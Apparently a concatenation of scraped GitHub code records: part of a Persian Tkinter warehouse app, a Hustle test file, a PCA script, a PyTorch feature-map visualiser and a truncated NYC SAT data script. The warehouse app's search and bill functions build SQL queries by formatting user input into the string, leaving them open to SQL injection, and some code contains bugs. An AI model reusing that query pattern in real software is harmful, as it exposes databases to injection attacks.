ردیف',anchor=E)\n self.style.theme_use('clam')\n self.style.configure(\"Treeview.Heading\",font=('Lalezar', 16),\n padding=[0, 5, 15, 5],background='#474A56',\n foreground=\"white\",bd=0,relief='raised')\n self.style.map(\"Treeview.Heading\",\n background=[('active','#686A75')])\n self.style.configure(\"Treeview\", highlightthickness=0, \n height=150,\n bd=0, font=('AraFProgram', 16),\n background=\"white\",foreground=\"black\",\n rowheight = 35,fieldbackground=\"white\")\n self.style.map(\"Treeview\",\n background=[('selected', '#7A8BA7')],\n foreground=[('selected', 'white')])\n \n self.dateFrm_bill=Label(sodorbill_page,image=self.bgDateImg, height=45,width=320,bd=0,bg='white')\n self.time_label_bill = Label(self.dateFrm_bill)\n self.date_label_bill = Label(self.dateFrm_bill)\n self.b_openNav_bill=Button(sodorbill_page,image=self.openBtnImg,bg='white',activebackground='white',bd=0,command=self.switch_bill,cursor='hand2')\n self.navFrm_bill=Frame(sodorbill_page,height=800,width=220,bg='#777777',bd=0)\n self.closeFrm_bill=LabelFrame(self.navFrm_bill,width=220,bg='#2E2E2E',bd=0,height=50)\n self.b_closeNav_bill=Button(self.closeFrm_bill,image=self.closeBtnImg,bd=0,bg='#2E2E2E',activebackground='#2E2E2E',cursor='hand2',command=self.switch_bill)\n self.b_home_page_bill=Button(self.navFrm_bill,image=self.homePageBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.bill_to_main)\n self.b_addUser_bill=Button(self.navFrm_bill,image=self.addUserImg,bg='#777777',bd=0,cursor='hand2',command=self.bill_to_user)\n self.b_addWare_bill=Button(self.navFrm_bill,image=self.addWareImg,bg='#777777',bd=0,cursor='hand2',command=self.bill_to_product)\n self.b_WrStock_bill=Button(self.navFrm_bill,image=self.WrStockImg,bg='#777777',bd=0,cursor='hand2',command=self.bill_to_stock)\n self.b_Receipt_bill=Button(self.navFrm_bill,image=self.ReceiptImg,bg='#777777',bd=0,cursor='hand2',command=self.bill_to_receipt)\n self.b_request_bill=Button(self.navFrm_bill,image=self.requestImg,bg='#777777',bd=0,cursor='hand2',command=self.bill_to_request)\n self.b_sabtSefareshPage_bill=Button(self.navFrm_bill,image=self.sabtSefareshBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.bill_to_order)\n self.b_sabtExitKalaPage_bill=Button(self.navFrm_bill,image=self.exitKalaBtnMenuImg,bg='#777777',bd=0,cursor='hand2',command=self.bill_to_exit)\n self.b_historyOrder_bill=Button(self.navFrm_bill,image=self.historyBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.bill_to_history)\n self.b_bill_bill=Button(self.navFrm_bill,image=self.issuanceImg,bg='#777777',bd=0,cursor='hand2',state='disabled')\n self.b_exit_bill=Button(self.navFrm_bill,image=self.exitImg,bg='#777777',bd=0,cursor='hand2')\n\n self.dateFrm_bill.place(x=0,y=0)\n self.date_label_bill.place(x=15,y=4)\n self.time_label_bill.place(x=190,y=4)\n self.b_openNav_bill.place(x=1340,y=20)\n self.navFrm_bill.place(x=1400,y=0)\n self.closeFrm_bill.place(x=0,y=0)\n self.b_closeNav_bill.place(x=15,y=15)\n self.b_home_page_bill.place(x=0,y=50)\n self.b_addWare_bill.place(x=0,y=115)\n self.b_addUser_bill.place(x=0,y=180)\n self.b_WrStock_bill.place(x=0,y=245)\n self.b_Receipt_bill.place(x=0,y=310)\n self.b_request_bill.place(x=0,y=375)\n self.b_sabtSefareshPage_bill.place(x=0,y=440)\n self.b_sabtExitKalaPage_bill.place(x=0,y=505)\n self.b_historyOrder_bill.place(x=0,y=570)\n self.b_bill_bill.place(x=0,y=635)\n self.b_exit_bill.place(x=0,y=700)\n\n self.headerBillPage.place(x=590,y=0)\n self.l_SearchKala_bill.place(x=1000,y=100)\n self.e_SearchKala_bill.place(x=780,y=100)\n self.b_SearchKala_bill.place(x=620,y=95)\n self.b_blii.place(x=620,y=730)\n self.listBill.place(x=50,y=160)\n\n self.listBill.bind('',self.select_record_bill)\n\n def update_time_bill(self):\n now = datetime.now()\n self.current_time = now.strftime(\"%H:%M:%S\")\n self.current_date = now.strftime(\"%Y/%m/%d\")\n self.time_label_bill.config(text=f\"{self.current_time}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.date_label_bill.config(text=f\"{self.current_date}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.dateFrm_bill.after(1000, self.update_time_bill)\n\n def switch_bill(self):\n if self.btnState is True:\n self.navFrm_bill.place(x=1400, y=0)\n self.btnState = False\n else:\n self.navFrm_bill.place(x=1180, y=0)\n self.btnState = True\n \n def bill_to_main(self):\n self.navFrm.place(x=1180, y=0)\n main_page.state('normal') \n sodorbill_page.state('withdraw')\n self.btnState = True\n\n def bill_to_product(self):\n self.navFrm_product.place(x=1180, y=0)\n self.data_to_list_kala()\n product_page.state('normal')\n sodorbill_page.state('withdraw')\n self.btnState = True\n \n def bill_to_exit(self):\n self.navFrm_exit.place(x=1180, y=0)\n self.data_to_list_history()\n exit_page.state('normal')\n sodorbill_page.state('withdraw')\n self.btnState = False\n\n def bill_to_history(self):\n self.navFrm_history.place(x=1180, y=0)\n self.data_to_list_history()\n history_page .state('normal')\n sodorbill_page.state('withdraw')\n self.btnState = True\n\n def bill_to_stock(self):\n self.navFrm_stock.place(x=1180, y=0)\n self.data_to_list_stock()\n stock_page.state('normal')\n bill_page.state('withdraw')\n self.btnState = True\n \n def bill_to_receipt(self):\n self.navFrm_receipt.place(x=1180, y=0)\n receipt_page.state('normal')\n sodorbill_page.state('withdraw')\n self.btnState = True\n\n def bill_to_request(self):\n self.navFrm_request.place(x=1180, y=0)\n self.data_to_list_request()\n request_page.state('normal')\n sodorbill_page.state('withdraw')\n self.btnState = True\n\n def bill_to_order(self):\n self.navFrm_order.place(x=1180, y=0)\n self.data_to_list_order()\n order_page.state('normal')\n sodorbill_page.state('withdraw')\n self.btnState = True\n\n def bill_to_user(self):\n self.navFrm_user.place(x=1180, y=0)\n self.data_to_list_user()\n user_page.state('normal')\n sodorbill_page.state('withdraw')\n self.btnState = True\n\n def searchIdBill(self):\n con=sql.connect('mydb.db')\n cur=con.cursor()\n self.idBill=self.e_SearchKala_bill.get()\n self.count=0\n if self.idBill !='':\n for i in self.listKala.get_children():\n self.listKala.delete(i)\n row=cur.execute('SELECT * FROM orders WHERE idKala = \"{}\" or orderId = \"{}\" '.format(self.idBill,self.idBill))\n self.listBillInfo=list(row)\n for i in self.listBillInfo:\n self.count += 1\n if i[6] == 'وارد انبار شد':\n self.listBill.insert(parent='',index='end',text='',\n values=(i[7],i[3],i[8],i[2],i[1],i[0],'ورود',str(self.count)))\n elif i[6] == 'تحویل داده شد':\n self.listBill.insert(parent='',index='end',text='',\n values=(i[7],i[3],i[8],i[2],i[1],i[0],'خروج',str(self.count)))\n con.close()\n else:\n for item in self.listBill.get_children():\n self.listBill.delete(item)\n\n def select_record_bill(self ,event=None):\n self.selected_bill = self.listBill.focus()\n self.values_bill_list = self.listBill.item(self.selected_bill , \"values\")\n \n def sodorBill(self):\n con=sql.connect('mydb.db')\n cur=con.cursor()\n row=cur.execute('SELECT type,category FROM kala WHERE id = \"{}\"'.format(self.idBill))\n row=list(row)\n row2=cur.execute('SELECT stock FROM orders WHERE orderId = \"{}\"'.format(self.values_bill_list[2]))\n row2=list(row2)\n self.nameUserLbl_bill['text']=self.values_bill_list[3]\n self.dateLbl_bill['text']=self.values_bill_list[0]\n self.nameKalaLbl_bill['text']=self.values_bill_list[4]\n self.orderIdLbl_bill['text']=self.values_bill_list[2]\n self.orderTypeLbl_bill['text']=self.values_bill_list[6]\n self.kalaIdLbl_bill['text']=self.values_bill_list[5]\n self.groupKalaLbl_bill['text']=row[0][1]\n self.typeKalaLbl_bill['text']=row[0][0]\n self.kalaIdLbl_bill['text']=self.values_bill_list[5]\n self.stockKalaLbl_bill['text']=row2[0][0]\n self.orderNumLbl_bill['text']=self.values_bill_list[1]\n self.e_SearchKala_bill.delete(0,END)\n self.searchIdBill()\n bill_page.state('normal')\n sodorbill_page.state('withdraw')\n con.close()\n#______________________________________________________________________________________________________________________________________________\n#___________________________________________________________ sodor bill page __________________________________________________________________\n\n def bill_kala_page(self):\n bill_page.geometry('1400x800+250+100')\n bill_page.configure(bg='#F3F3F3')\n \n self.h_billPageImg = PhotoImage(file='image/headerBillPage.png')\n self.printBillBtnImg = PhotoImage(file='image/printBillBtnImg.png')\n self.backBillBtnImg = PhotoImage(file='image/backBillBtnImg.png')\n\n self.h_billPage = Label(bill_page,image=self.h_billPageImg)\n self.bgBill = LabelFrame(bill_page,height=600,width=1200,bg='#EFEEEE',bd=2,relief='solid')\n self.l_nameUser_bill = Label(bill_page,text=' : نام سفارش دهنده',font=('Lalezar',17),bg='#EFEEEE')\n self.nameUserLbl_bill = Label(bill_page,text='{: >25}'.format(''),font=('Lalezar',17),bg='#EFEEEE',width=15,fg='#4F4E4E')\n self.l_date_bill = Label(bill_page,text=' : تاریخ',font=('Lalezar',17),bg='#EFEEEE')\n self.dateLbl_bill = Label(bill_page,text='{: >11}'.format(''),font=('Lalezar',17),bg='#EFEEEE',width=10,fg='#4F4E4E')\n self.l_nameKala_bill = Label(bill_page,text=' : نام کالا',font=('Lalezar',17),bg='#EFEEEE')\n self.nameKalaLbl_bill = Label(bill_page,text='{: >20}'.format(''),font=('Lalezar',17),bg='#EFEEEE',width=17,fg='#4F4E4E')\n self.l_orderId_bill = Label(bill_page,text=' : کد سفارش',font=('Lalezar',17),bg='#EFEEEE')\n self.orderIdLbl_bill = Label(bill_page,text='{: >11}'.format(''),font=('Lalezar',17),bg='#EFEEEE',width=10,fg='#4F4E4E')\n self.l_groupKala_bill = Label(bill_page,text=' : گروه کالا',font=('Lalezar',17),bg='#EFEEEE')\n self.groupKalaLbl_bill = Label(bill_page,text='{: >20}'.format(''),font=('Lalezar',17),bg='#EFEEEE',width=17,fg='#4F4E4E')\n self.l_typeKala_bill = Label(bill_page,text=' : نوع کالا',font=('Lalezar',17),bg='#EFEEEE')\n self.typeKalaLbl_bill = Label(bill_page,text='{: >20}'.format(''),font=('Lalezar',17),bg='#EFEEEE',width=17,fg='#4F4E4E')\n self.l_orderType_bill = Label(bill_page,text=' : نوع سفارش',font=('Lalezar',17),bg='#EFEEEE')\n self.orderTypeLbl_bill = Label(bill_page,text='{: >4}'.format(''),font=('Lalezar',17),bg='#EFEEEE',fg='#4F4E4E')\n self.l_orderNum_bill = Label(bill_page,text=' : تعداد سفارش',font=('Lalezar',17),bg='#EFEEEE')\n self.orderNumLbl_bill = Label(bill_page,text='{: >5}'.format(''),font=('Lalezar',17),bg='#EFEEEE',fg='#4F4E4E')\n self.l_stockKala_bill = Label(bill_page,text=' : موجودی کالا',font=('Lalezar',17),bg='#EFEEEE')\n self.stockKalaLbl_bill = Label(bill_page,text='{: >5}'.format(''),font=('Lalezar',17),bg='#EFEEEE',fg='#4F4E4E')\n self.l_kalaId_bill = Label(bill_page,text=' : کد کالا',font=('Lalezar',17),bg='#EFEEEE')\n self.kalaIdLbl_bill = Label(bill_page,text='{: >20}'.format(''),font=('Lalezar',17),width=17,bg='#EFEEEE',fg='#4F4E4E')\n self.b_printBill = Button(bill_page,bg='#F3F3F3',image=self.printBillBtnImg,activebackground='#F3F3F3',bd=0,cursor='hand2')\n self.b_back_bill = Button(bill_page,bg='#F3F3F3',image=self.backBillBtnImg,activebackground='#F3F3F3',bd=0,cursor='hand2',command=self.backBill)\n \n self.h_billPage.place(x=590 , y=0)\n self.bgBill.place(x=100 , y=80)\n self.l_nameUser_bill.place(x=1100 , y=140)\n self.nameUserLbl_bill.place(x=900 , y=140)\n self.l_date_bill.place(x=310 , y=140)\n self.dateLbl_bill.place(x=180 , y=140)\n self.l_nameKala_bill.place(x=1060 , y=265)\n self.nameKalaLbl_bill.place(x=850 , y=265)\n self.l_orderId_bill.place(x=405 , y=265)\n self.orderIdLbl_bill.place(x=270 , y=265)\n self.l_groupKala_bill.place(x=1050 , y=465)\n self.groupKalaLbl_bill.place(x=840 , y=465)\n self.l_typeKala_bill.place(x=430 , y=465)\n self.typeKalaLbl_bill.place(x=220 , y=465)\n self.l_orderType_bill.place(x=1025 , y=365)\n self.orderTypeLbl_bill.place(x=950 , y=365)\n self.l_orderNum_bill.place(x=380 , y=565)\n self.orderNumLbl_bill.place(x=300 , y=565)\n self.l_stockKala_bill.place(x=1020 , y=565)\n self.stockKalaLbl_bill.place(x=950 , y=565)\n self.l_kalaId_bill.place(x=440 , y=365)\n self.kalaIdLbl_bill.place(x=230 , y=365)\n self.b_printBill.place(x=515 , y=720)\n self.b_back_bill.place(x=725 , y=720)\n\n def backBill(self):\n bill_page.state('withdraw')\n sodorbill_page.state('normal')\n\nO = App(main_page)\nmain_page.mainloop()","repo_name":"Mohammad-PanahiNik/Warehousing_program","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":167880,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"74671849318","text":"import unittest\nfrom hustle import select, Table, h_max, h_min\nfrom hustle.core.column_fn import ip_ntoa\nfrom setup import IPS\nfrom hustle.core.settings import Settings, overrides\n\n\nclass TestSimpleQuery(unittest.TestCase):\n def setUp(self):\n overrides['server'] = 'disco://localhost'\n overrides['dump'] = False\n overrides['nest'] = False\n self.settings = Settings()\n\n def tearDown(self):\n pass\n\n def test_column_fn(self):\n ips = Table.from_tag(IPS)\n res = select(ips.exchange_id, ip_ntoa(ips.ip),\n where=ips.exchange_id == \"Adx\")\n results = list(res)\n self.assertEqual(len(results), 29)\n res.purge()\n\n def test_column_fn_with_agg(self):\n ips = Table.from_tag(IPS)\n res = select(ips.exchange_id, h_max(ip_ntoa(ips.ip)),\n where=ips, order_by=(ips.exchange_id,))\n results = list(res)\n res.purge()\n exchanges = [ex for ex, _ in results]\n ipss = [ip for _, ip in results]\n self.assertListEqual(['Adx', 'Appnexus', 'OpenX', 'Rubycon'], exchanges)\n self.assertListEqual(['192.168.1.1'] * 4, ipss)\n\n res = select(ips.exchange_id, h_min(ip_ntoa(ips.ip)),\n where=ips, order_by=(ips.exchange_id,))\n results = list(res)\n res.purge()\n exchanges = [ex for ex, _ in results]\n ipss = [ip for _, ip in results]\n self.assertListEqual(['Adx', 'Appnexus', 'OpenX', 'Rubycon'], exchanges)\n self.assertListEqual(['127.0.0.1'] * 4, ipss)\n\n def test_column_fn_with_distinct(self):\n ips = Table.from_tag(IPS)\n res = select(ip_ntoa(ips.ip),\n where=ips.exchange_id == \"Adx\", order_by=(ip_ntoa(ips.ip),),\n distinct=True)\n results = list(res)\n res.purge()\n ipss = [ip[0] for ip in results]\n self.assertListEqual(['127.0.0.1', '192.1.1.1', '192.1.1.2', '192.168.1.1'],\n ipss)\n\n def test_column_fn_with_nest(self):\n ips = Table.from_tag(IPS)\n res = select(ip_ntoa(ips.ip),\n where=ips.exchange_id == \"Adx\", order_by=(ip_ntoa(ips.ip),),\n distinct=True, nest=True)\n ret = select(res.ip, where=res, order_by=(res.ip,))\n results = list(ret)\n ret.purge()\n ipss = [ip[0] for ip in results]\n self.assertListEqual(['127.0.0.1', '192.1.1.1', '192.1.1.2', '192.168.1.1'],\n ipss)\n","repo_name":"tspurway/hustle","sub_path":"integration_test/test_column_fn.py","file_name":"test_column_fn.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"18"} +{"seq_id":"73755231399","text":"def find_Repeat(arr,n):\r\n slow=arr[0]\r\n fast=arr[0]\r\n flag=0\r\n while(slow!=fast or flag==0):\r\n flag=1\r\n slow=arr[slow]+1\r\n fast=arr[arr[fast]+1]+1\r\n\r\n slow=arr[0]\r\n while(slow!=fast):\r\n slow=arr[slow]+1\r\n fast=arr[fast]+1\r\n\r\n return slow-1\r\n\r\narr=[0,1,2,3,4,5,1]\r\n\r\nprint(\"Repeating element is :\",arr[find_Repeat(arr,len(arr))])\r\n","repo_name":"jaideep6214/GFG-Algorithms-and-Data-Structures","sub_path":"Searching/Repeating_Element.py","file_name":"Repeating_Element.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"13590606568","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom scipy import io as spio\n\n'''二维降为一维'''\ndef PCA_2dto1d():\n data=spio.loadmat(\"data_pca.mat\")\n X=data['X']\n X_copy=X.copy()\n m=X.shape[0]\n #X_norm,mu,sigma=featureNormalize(X_copy) #特征值归一化\n X_norm=X_copy\n Sigma=np.dot(np.transpose(X_norm),X_norm)/m #求Sigma\n U,S,V=np.linalg.svd(Sigma) #对Sigma进行奇异值分解\n print(U.shape)\n K=1 #定义要降的维度\n Z,Ureduce=projectData(X_norm,U,K) #执行降维操作\n X_rec=np.dot(Z,np.transpose(Ureduce)) #恢复数据\n plt=plot_data_2d(X_norm,'bo')\n plot_data_2d(X_rec,'ro')\n for i in range(m):\n drawline(plt,X_norm[i,:],X_rec[i,:],'--k')\n plt.show()\n\n'''压缩图像'''\ndef pca_photo():\n data=spio.loadmat(\"faces.mat\")\n X=data['X']\n display_img=X[0:100,:]\n print(display_img.shape[1])\n display_imageData(display_img)\n #X_norm,mu,sigma=featureNormalize(display_img)\n X_norm=display_img\n Sigma=np.dot(np.transpose(X_norm),X_norm)/X_norm.shape[0]\n U,S,V=np.linalg.svd(Sigma)\n K=100\n Z,Ureduced=projectData(X_norm,U,K)\n X_rec=np.dot(Z,np.transpose(Ureduced))\n display_imageData(X_rec)\n\n'''特征值归一化'''\ndef featureNormalize(X):\n X_norm=np.array(X)\n m,n=X_norm.shape\n mu=np.mean(X_norm,axis=0)\n sigma=np.std(X_norm,axis=0)\n for i in range(n):\n X_norm[:,i]=(X_norm[:,i]-mu[i])/sigma[i]\n return X_norm,mu,sigma\n\n# 显示图片\ndef display_imageData(imgData):\n sum = 0\n '''\n 显示100个数(若是一个一个绘制将会非常慢,可以将要画的图片整理好,放到一个矩阵中,显示这个矩阵即可)\n - 初始化一个二维数组\n - 将每行的数据调整成图像的矩阵,放进二维数组\n - 显示即可\n '''\n m, n = imgData.shape\n width = np.int32(np.round(np.sqrt(n)))\n height = np.int32(n / width);\n rows_count = np.int32(np.floor(np.sqrt(m)))\n cols_count = np.int32(np.ceil(m / rows_count))\n pad = 1\n display_array = -np.ones((pad + rows_count * (height + pad), pad + cols_count * (width + pad)))\n for i in range(rows_count):\n for j in range(cols_count):\n max_val = np.max(np.abs(imgData[sum, :]))\n display_array[pad + i * (height + pad):pad + i * (height + pad) + height,\n pad + j * (width + pad):pad + j * (width + pad) + width] = imgData[sum, :].reshape(height, width,\n order=\"F\") / max_val # order=F指定以列优先,在matlab中是这样的,python中需要指定,默认以行\n sum += 1\n\n plt.imshow(display_array, cmap='gray') # 显示灰度图像\n plt.axis('off')\n plt.show()\n\n#进行降维得到Z\ndef projectData(X_norm,U,K):\n Z=np.zeros((X_norm.shape[0],K))\n Ureduce=U[:,0:K] #取U的前K列\n Z=np.dot(X_norm,Ureduce)\n return Z,Ureduce\n\n#可视化二维数据\ndef plot_data_2d(X,marker):\n plt.plot(X[:,0],X[:,1],marker)\n return plt\n\n#画一条线\ndef drawline(plt,p1,p2,line_type):\n plt.plot(np.array([p1[0],p2[0]]),np.array([p1[1],p2[1]]),line_type)\n\nif __name__=='__main__':\n PCA_2dto1d()\n pca_photo()\n","repo_name":"penggan666/ml","sub_path":"PCA/py_pca.py","file_name":"py_pca.py","file_ext":"py","file_size_in_byte":3238,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"12459676943","text":"import cv2\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision.transforms import ToTensor\n# 'a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z'\n\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n# 설명 가능한(?) 네트워크 생성\nclass XAI(nn.Module):\n def __init__(self, num_classes=2):\n super(XAI, self).__init__()\n self.feature = nn.Sequential(\n nn.Conv2d(3, 64, kernel_size=3, bias=False),\n nn.BatchNorm2d(64),\n nn.ReLU(inplace=True),\n nn.Dropout(0.3),\n nn.Conv2d(64, 64, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(64),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n \n nn.Conv2d(64, 128, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(128),\n nn.ReLU(inplace=True),\n nn.Dropout(0.4),\n nn.Conv2d(128, 128, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(128),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n \n nn.Conv2d(128, 256, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True),\n nn.Dropout(0.4),\n nn.Conv2d(256, 256, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True),\n nn.Dropout(0.4),\n nn.Conv2d(256, 256, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n \n nn.Conv2d(256, 512, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.Dropout(0.4),\n nn.Conv2d(512, 512, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.Dropout(0.4),\n nn.Conv2d(512, 512, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n \n nn.Conv2d(512, 512, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(512),\n nn.ReLU(0.4),\n nn.Conv2d(512, 512, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.Dropout(0.4),\n nn.Conv2d(512, 512, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n )\n self.classifier = nn.Sequential(\n nn.Linear(512, 512, bias=False),\n nn.Dropout(0.5),\n nn.BatchNorm1d(512),\n nn.ReLU(inplace=True),\n nn.Dropout(0.5),\n nn.Linear(512, num_classes)\n )\n \n def forward(self, x):\n x = self.feature(x)\n x = x.view(-1, 512)\n x = self.classifier(x)\n return F.log_softmax(x)\n\n\nmodel = XAI()\nmodel.to(device)\nmodel.eval()\n\nclass LayerActivations:\n features = list()\n \n def __init__(self, model:nn.Sequential, layer_num):\n self.hook = model[layer_num].register_forward_hook(self.hook_fn)\n \n def hook_fn(self, module, input, output):\n self.features = output.detach().numpy()\n \n def remove(self):\n self.hook.remove()\n\n\n# 이미지 호출\nimg = cv2.imread('./data/cat_dog/cat.jpg')\ndef graph1():\n plt.imshow(img)\n plt.show()\n# graph1()\nimg = cv2.resize(img, (100, 100), interpolation=cv2.INTER_LINEAR)\nimg = ToTensor()(img).unsqueeze(0)\nprint(img.shape)\n\n\ndef visualize(layer_i: int):\n # conv2D 특성 맵 확인\n result = LayerActivations(model.feature, layer_i)\n model(img)\n activations = result.features\n\n # 특성 맵 시각화\n fig, axes = plt.subplots(4, 4)\n # fig = plt.figure(figsize=(12, 8))\n # fig.subplots_adjust(left=0, right=1, bottom=0, top=1, hspace=0.05, wspace=0.05)\n for row in range(4):\n for col in range(4):\n axis = axes[row][col]\n axis.get_xaxis().set_ticks(list())\n axis.get_yaxis().set_ticks(list())\n axis.imshow(activations[0][row * 10 + col])\n plt.show()\n\n\n# 첫 계층부터 특성 맵\nvisualize(0)\n\n# 20번째 계층에 대한 특성 맵\nvisualize(20)\n\n# 40번째\nvisualize(40)","repo_name":"modabada/chatbot-main","sub_path":"pyTorch/20_feature_map_visualize.py","file_name":"20_feature_map_visualize.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35901808197","text":"\r\n\"\"\"\r\n NY-SAT-Survey-Scores\r\n Map SAT Scores to locations along with survey data\r\n\r\n SAT scores by school – SAT scores for each high school in New York City.\r\n School attendance – attendance information on every school in NYC.\r\n Math test results – math test results for every school in NYC.\r\n Class size – class size information for each school in NYC.\r\n AP test results – Advanced Placement exam results for each high school. Passing AP exams can get you college credit in the US.\r\n Graduation outcomes – percentage of students who graduated, and other outcome information.\r\n Demographics – demographic information for each school.\r\n School survey – surveys of parents, teachers, and students at each school.\r\n School district maps – contains information on the layout of the school districts, so that we can map them out.\r\n\"\"\"\r\n\r\nfiles = [\"ap_2010.csv\", \"class_size.csv\", \"demographics.csv\", \"graduation.csv\", \"hs_directory.csv\", \"math_test_results.csv\", \"sat_results.csv\"]\r\n\r\n\"\"\"\r\nx \"ap_2010.csv\"\r\nx \"class_size.csv\"\r\nx \"demographics.csv\"\r\nx \"graduation.csv\"\r\nx \"hs_directory.csv\" which year?\r\nx \"math_test_results.csv\"\r\nx \"sat_results.csv\"\r\n\"\"\"\r\n\r\n\r\n# data path:\r\n#\r\n# NY-SAT-Survey-Scores/Survey_Data\r\n\r\nimport sys\r\nimport os\r\nimport pandas as pd\r\nimport numpy as np\r\nimport folium\r\nfrom folium import plugins\r\n\r\n################\r\n# Setup the path to our data files\r\n\r\nnew_wd = cwd + '\\\\Survey_Data'\r\nos.chdir(new_wd)\r\ncwd2 = os.getcwd()\r\n#print(cwd2)\r\n\r\n###############\r\n# init our various data filenames\r\n#\r\n# hs_directory_2014-2015\r\n\r\nfiles = [\"ap_2010.csv\",\r\n \"class_size.csv\",\r\n \"demographics.csv\",\r\n \"graduation.csv\",\r\n\r\n# Choose 2014-2015: hs_directory.csv <= hs_directory_2014-2015.csv\r\n \"hs_directory.csv\", # NOTE: choose THIS year 2014-2015\r\n \"math_test_results.csv\",\r\n \"sat_results.csv\"]\r\n\r\n############### \r\n# Loop through each data file we downloaded.\r\n# Read the file into a Pandas DataFrame.\r\n# Put each DataFrame into a Python dictionary.\r\n\r\ndata = {}\r\nfor f in files:\r\n# print(f)\r\n# print(\"schools/{0}\".format(f))\r\n \r\n d = pd.read_csv(\"schools/{0}\".format(f))\r\n data[f.replace(\".csv\", \"\")] = d\r\n\r\n############### \r\n# Once we’ve read the data in, we can use the head method \r\n# on DataFrames to print the first 5 lines of each DataFrame:\r\n\r\n#for k,v in data.items():\r\n# print(\"\\n\" + k + \"\\n\")\r\n# print(v.head(5))\r\n\r\n\r\n###############\r\n#\r\n#print(data[\"demographics\"][\"DBN\"].head())\r\n#print(\"\\n\\n\")\r\n\r\n#print(\"BEFORE\\n\", data[\"class_size\"].head())\r\n\r\n\r\n##############\r\n# it looks like the DBN is actually a combination of \r\n# CSD, BOROUGH, and SCHOOL CODE: for: class_size and hs_directory\r\n#\r\n# So we need to create a new \"DBN\" column for: class_size and hs_directory\r\n\r\ndata[\"class_size\"][\"DBN\"] = data[\"class_size\"].apply(lambda x: \"{0:02d}{1}\".format(x[\"CSD\"], x[\"SCHOOL CODE\"]), axis=1)\r\ndata[\"hs_directory\"][\"DBN\"] = data[\"hs_directory\"][\"dbn\"]\r\n\r\n#print(\"AFTER1:\\n\", data[\"class_size\"].head())\r\n\r\n#print(\"AFTER2:\\n\", data[\"hs_directory\"].head())\r\n\r\n##############\r\n# Load / combine survey data:\r\n#\r\n# Read in the surveys for all schools using the windows-1252 file encoding.\r\n# Read in the surveys for district 75 schools using the windows-1252 file encoding.\r\n# Add a flag that indicates which school district each dataset is for.\r\n# Combine the datasets into one using the concat method on DataFrames.\r\n#\r\n# NOTE: Make sure that the two survey .txt files are named:\r\n# survey_all and: survey_d75\r\n# NOT: survey_all.txt and: survey_d75.txt\r\n\r\n#cwd3 = os.getcwd()\r\n#print(cwd3)\r\n\r\nsurvey1 = pd.read_csv(\"schools/survey_all.txt\", delimiter=\"\\t\", encoding='windows-1252')\r\nsurvey2 = pd.read_csv(\"schools/survey_d75.txt\", delimiter=\"\\t\", encoding='windows-1252')\r\nsurvey1[\"d75\"] = False\r\nsurvey2[\"d75\"] = True\r\nsurvey = pd.concat([survey1, survey2], axis=0)\r\n\r\n# print(\"SURVEY_CONCAT:\\n\", survey.head())\r\n\r\n#################\r\n# Problem: the survey data has many columns \r\n# that aren’t very useful to us\r\n#\r\n# We resolve this issue by looking at the data dictionary\r\n# file that we downloaded along with the survey data\r\n#\r\n\r\nsurvey[\"DBN\"] = survey[\"dbn\"]\r\nsurvey_fields = [\"DBN\", \"rr_s\", \"rr_t\", \"rr_p\", \"N_s\", \"N_t\", \"N_p\", \"saf_p_11\", \"com_p_11\", \"eng_p_11\", \"aca_p_11\", \"saf_t_11\", \"com_t_11\", \"eng_t_10\", \"aca_t_11\", \"saf_s_11\", \"com_s_11\", \"eng_s_11\", \"aca_s_11\", \"saf_tot_11\", \"com_tot_11\", \"eng_tot_11\", \"aca_tot_11\",]\r\nsurvey = survey.loc[:,survey_fields]\r\ndata[\"survey\"] = survey\r\n\r\n\r\n# print(\"Survey1 Shape:\" , survey1.shape)\r\n\r\n# print(\"Survey2 Shape:\" , survey2.shape)\r\n\r\n# print(\"Survey Shape:\" , survey.shape)\r\n\r\n\r\n# Making sure you understand what each dataset contains, \r\n# and what the relevant columns are can save you lots \r\n# of time and effort later on.\r\n\r\n# Now: If we take a look at some of the datasets, \r\n# including class_size, we’ll immediately see a 